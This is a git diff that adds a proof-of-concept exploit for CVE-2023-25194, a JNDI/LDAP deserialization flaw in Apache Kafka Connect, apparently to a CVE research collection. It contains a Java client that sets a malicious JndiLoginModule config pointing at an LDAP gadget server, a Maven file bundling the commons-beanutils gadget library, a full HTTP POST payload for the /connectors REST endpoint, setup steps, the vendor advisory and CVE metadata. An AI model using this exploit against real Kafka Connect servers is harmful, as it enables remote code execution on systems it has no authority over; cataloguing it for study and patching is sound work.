diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/pom.xml b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/pom.xml new file mode 100644 index 0000000000000000000000000000000000000000..17a4f7f1051bdd3a568c53ba1ae830f12da5b52b --- /dev/null +++ b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/pom.xml @@ -0,0 +1,28 @@ + + + 4.0.0 + + org.example + CVE-2023-25194 + 1.0-SNAPSHOT + + + 8 + 8 + + + + + org.apache.kafka + kafka-clients + 3.3.0 + + + commons-beanutils + commons-beanutils + 1.9.4 + + + \ No newline at end of file diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/src/main/java/Test.java b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/src/main/java/Test.java new file mode 100644 index 0000000000000000000000000000000000000000..721191069291dd5e971b85560605afff895eba60 --- /dev/null +++ b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/src/main/java/Test.java @@ -0,0 +1,25 @@ +import org.apache.kafka.clients.producer.KafkaProducer; +import org.apache.kafka.clients.producer.Producer; +import org.apache.kafka.clients.producer.ProducerRecord; + +import java.util.Properties; + +public class Test { + public static void main(String[] args) { + Properties props = new Properties(); + props.put("sasl.mechanism","SCRAM-SHA-256"); + props.put("security.protocol","SASL_SSL"); +// props.put("security.protocol","SASL_PLAINTEXT"); + props.put("sasl.jaas.config","com.sun.security.auth.module.JndiLoginModule " + + "required user.provider.url=\"ldap://127.0.0.1:1389/deserialCommonsBeanutils1\" " + + "useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" " + + "group.provider.url=\"xxx\";"); + props.put("bootstrap.servers", "localhost:9092"); + props.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer"); + props.put("value.deserializer", "org.apache.kafka.common.serialization.StringDeserializer"); + props.put("key.serializer", "org.apache.kafka.common.serialization.StringSerializer"); + props.put("value.serializer", "org.apache.kafka.common.serialization.StringSerializer"); + + Producer producer = new KafkaProducer<>(props); + } +} diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class new file mode 100644 index 0000000000000000000000000000000000000000..c16dc92d9d3f8a7386d26d7e7ac4fbec5ab88194 Binary files /dev/null and b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test.class differ diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class new file mode 100644 index 0000000000000000000000000000000000000000..7dd11a74d3a939a1046cde14175f12cd700b109d Binary files /dev/null and b/cve/apache-Kafka/2023/CVE-2023-25194/CVE-2023-25194-java/target/classes/Test2.class differ diff --git a/cve/apache-Kafka/2023/CVE-2023-25194/README.md b/cve/apache-Kafka/2023/CVE-2023-25194/README.md new file mode 100644 index 0000000000000000000000000000000000000000..6233bc1fbbfe16d88d43c48a1286313ab472fa3c --- /dev/null +++ b/cve/apache-Kafka/2023/CVE-2023-25194/README.md @@ -0,0 +1,54 @@ +## Description + +A possible security vulnerability has been identified in Apache Kafka Connect. This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka 2.3.0. When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the `producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties. This will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath. Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector client override policy that permits them. Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka 3.4.0. We advise the Kafka Connect users to validate connector configurations and only allow trusted JNDI configurations. Also examine connector dependencies for vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation. Finally, in addition to leveraging the "org.apache.kafka.disallowed.login.modules" system property, Kafka Connect users can also implement their own connector client config override policy, which can be used to control which Kafka client properties can be overridden directly in a connector config and which cannot. + + +## Poc + +``` +POST /connectors HTTP/1.1 +Host: xxxx:8083 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Content-Type: application/json +Connection: close +Content-Length: 1109 + +{"name": "test", + "config": + { + "connector.class":"io.debezium.connector.mysql.MySqlConnector", + "database.hostname": "xxxxx", + "database.port": "3306", + "database.user": "root", + "database.password": "xxxxxx", + "database.dbname": "xxxx", + "database.sslmode": "SSL_MODE", + "database.server.id": "1234", + "database.server.name": "localhost", + "table.include.list": "MYSQL_TABLES", + "tasks.max":"1", + "topic.prefix": "aaa22", + "debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory", + "schema.history.internal.kafka.topic": "aaa22", + "schema.history.internal.kafka.bootstrap.servers": "kafka:9202", + "database.history.producer.security.protocol": "SASL_SSL", + "database.history.producer.sasl.mechanism": "PLAIN", + "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://aaa\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" + } +} +``` + +## Attention + +1. Import the libs by copy them to the kafka's libs directory. +2. Kafka Connect must be running. (./bin/connect-distributed.sh config/connect-distributed.properties) +3. mysql info must be right, and make sure kafka connect can connect the db. + +## References +- https://github.com/ohnonoyesyes/CVE-2023-25194 +- https://github.com/luelueking/Java-CVE-Lists/tree/main/CVE-2023-25194 \ No newline at end of file diff --git a/cve/apache-Kafka/2023/yaml/CVE-2023-25194.yaml b/cve/apache-Kafka/2023/yaml/CVE-2023-25194.yaml new file mode 100644 index 0000000000000000000000000000000000000000..cc9b4e96dc007c77486946302d623aefc5f9b136 --- /dev/null +++ b/cve/apache-Kafka/2023/yaml/CVE-2023-25194.yaml @@ -0,0 +1,20 @@ +id: CVE-2023-25194 +source: + https://github.com/ohnonoyesyes/CVE-2023-25194 +info: + name: Apache Kafka is a distributed event store and stream-processing platform. It is an open-source system developed by the Apache Software Foundation written in Java and Scala. + severity: high + description: | + A possible security vulnerability has been identified in Apache Kafka Connect. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath. + scope-of-influence: Apache Kafka 2.3.0 + reference: + - https://nvd.nist.gov/vuln/detail/cve-2023-25194 + - https://lists.apache.org/thread/vy1c7fqcdqvq5grcqp6q5jyyb302khyz + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2023-25194 + cwe-id: CWE-502 + cnvd-id: None + kve-id: None + tags: Deserialization of Untrusted Data \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 7c4549f550e9b51b29e6dcad553b338bab1cd3e7..d7b9b9006e42221d18f679545832295f71e191d4 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -12,6 +12,8 @@ cve: - CVE-2022-24706 apache-Dubbo: - CVE-2021-43297 + apache-Kafka: + - CVE-2023-25194 apache-log4j: - CVE-2021-44228 apache-solr: